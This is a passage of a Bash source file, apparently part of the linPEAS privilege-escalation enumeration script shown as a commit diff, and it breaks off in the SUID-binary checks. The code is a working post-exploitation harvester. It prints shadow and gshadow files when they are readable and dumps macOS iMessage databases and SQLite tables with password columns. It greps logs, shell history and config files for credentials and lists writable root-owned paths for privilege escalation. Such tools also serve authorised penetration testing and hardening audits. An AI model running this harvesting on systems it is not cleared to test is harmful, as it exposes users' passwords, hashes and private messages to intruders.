if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Files (scripts) in /etc/profile.d/"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
check_critial_root_path "/etc/profile"
check_critial_root_path "/etc/profile.d/"
fi
echo ""
fi
##-- IF) Files (scripts) in /etc/init.d/
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Permissions in init, init.d, systemd, and rc.d"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
check_critial_root_path "/etc/init/"
check_critial_root_path "/etc/init.d/"
check_critial_root_path "/etc/rc.d/init.d"
check_critial_root_path "/usr/local/etc/rc.d"
check_critial_root_path "/etc/rc.d"
check_critial_root_path "/etc/systemd/"
check_critial_root_path "/lib/systemd/"
fi
echo ""
fi
##-- IF) Hashes in passwd file
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_list "Hashes inside passwd file? ........... "
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Writable in passwd file
print_list "Writable passwd file? ................ "
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Credentials in fstab
print_list "Credentials in fstab/mtab? ........... "
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Read shadow files
print_list "Can I read shadow files? ............. "
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "Can I read shadow plists? ............ "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
print_list "Can I write shadow plists? ........... "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
##-- IF) Read opasswd file
print_list "Can I read opasswd file? ............. "
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
else echo_no
fi
##-- IF) network-scripts
print_list "Can I write in network-scripts? ...... "
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Read root dir
print_list "Can I read root folder? .............. "
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
echo ""
fi
##-- IF) Root files in home dirs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching root files in home dirs (limit 30)"
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found
echo ""
fi
##-- IF) Others files in my dirs
if ! [ "$IAMROOT" ]; then
print_2title "Searching folders owned by me containing others files on it (limit 100)"
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
echo ""
fi
##-- IF) Readable files belonging to root and not world readable
if ! [ "$IAMROOT" ]; then
print_2title "Readable files belonging to root and readable by me but not world readable"
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
echo ""
fi
##-- IF) Modified interesting files into specific folders in the last 5mins
print_2title "Modified interesting files in the last 5mins (limit 100)"
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
echo ""
##-- IF) Writable log files
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
print_2title "Writable log files (logrotten) (limit 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
logrotate --version 2>/dev/null || echo_not_found "logrotate"
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
printf "%s\n" "$logfind" | while read log; do
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
fi
fi
done
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
##-- IF) Files inside my home
print_2title "Files inside $HOME (limit 20)"
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
echo ""
##-- IF) Files inside /home
print_2title "Files inside others home (limit 20)"
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
echo ""
##-- IF) Mail applications
print_2title "Searching installed mail applications"
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps"
echo ""
##-- IF) Mails
print_2title "Mails (limit 50)"
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
echo ""
##-- IF) Backup folders
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
print_2title "Backup folders"
printf "%s\n" "$backup_folders" | while read b ; do
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
ls -l "$b" 2>/dev/null && echo ""
done
echo ""
fi
fi
##-- IF) Backup files
print_2title "Backup files (limited 100)"
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
printf "%s\n" "$backs" | head -n 100 | while read b ; do
if [ -r "$b" ]; then
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
fi;
done
echo ""
##-- IF) DB files
if [ "$MACPEAS" ]; then
print_2title "Reading messages database"
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
fi
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
FILECMD="$(command -v file 2>/dev/null)"
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if [ "$FILECMD" ]; then
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
else
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
fi
done
SQLITEPYTHON=""
echo ""
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
tables=$(sqlite3 $f ".tables" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
else
tables=""
fi
if [ "$tables" ] || [ "$DEBUG" ]; then
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
printf "%s\n" "$tables" | while read t; do
columns=""
# Search for credentials inside the table using sqlite3
if [ -z "$SQLITEPYTHON" ]; then
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
# Search for credentials inside the table using python
else
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
fi
#Check found columns for interesting fields
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
if [ "$INTCOLUMN" ]; then
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
echo ""
fi
done
fi
fi
done
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Downloaded Files"
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
fi
##-- IF) Web files
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Web files?(output limit)"
ls -alhR /var/www/ 2>/dev/null | head
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
echo ""
fi
##-- IF) All hidden files
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70
echo ""
##-- IF) Readable files in /tmp, /var/tmp, bachups
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70)
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
echo ""
fi
##-- IF) Interesting writable files by ownership or all
if ! [ "$IAMROOT" ]; then
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
printf "%s\n" "$obmowbe" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -qE "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
echo ""
fi
##-- IF) Interesting writable files by group
if ! [ "$IAMROOT" ]; then
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
for g in $(groups); do
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
printf " Group $GREEN$g:\n$NC";
printf "%s\n" "$iwfbg" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -Eq "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
fi
done
echo ""
fi
##-- IF) Passwords in history cmd
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history cmd"
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo ""
fi
##-- IF) Passwords in history files
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history files"
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
echo ""
fi
##-- IF) Passwords in config PHP files
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in config PHP files"
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
echo ""
fi
##-- IF) Passwords files in home
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching *password* or *credential* files in home (limit 70)"
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
echo ""
fi
##-- IF) TTY passwords
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
echo ""
fi
##-- IF) IPs inside logs
if [ "$DEBUG" ]; then
print_2title "Searching IPs inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
echo ""
fi
##-- IF) Passwords inside logs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching passwords inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
echo ""
fi
if [ "$DEBUG" ]; then
##-- IF) Emails inside logs
print_2title "Searching emails inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
echo ""
fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
##-- IF) Find possible files with passwords
print_2title "Searching passwords inside key folders (limit 70) - only PHP files"
if ! [ "$SEARCH_IN_FOLDER" ]; then
intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
else
intpwdfiles=$(timeout 150 find $SEARCH_IN_FOLDER -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
fi
printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
print_2title "Searching passwords inside key folders (limit 70) - no PHP files"
printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
##-- IF) Find possible files with passwords
print_2title "Searching possible password variables inside key folders (limit 140)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
else
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
fi
wait
echo ""
##-- IF) Find possible conf files with passwords
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
else
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
fi
printf "%s\n" "$ppicf" | while read f; do
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
echo "$ITALIC $f$NC"
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
fi
done
echo ""
fi

View File

@@ -0,0 +1,491 @@
###########################################
#-) Files with Interesting Permissions (-#
###########################################
check_critial_root_path(){
folder_path="$1"
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
}
##-- IPF) SUID
print_2title "SUID - Check easy privesc, exploits and write perms"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
if ! [ "$STRINGS" ]; then
echo_not_found "strings"
fi
if ! [ "$STRACE" ]; then
echo_not_found "strace"
fi
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $suids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total"; then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ]; then
if [ "$STRINGS" ]; then
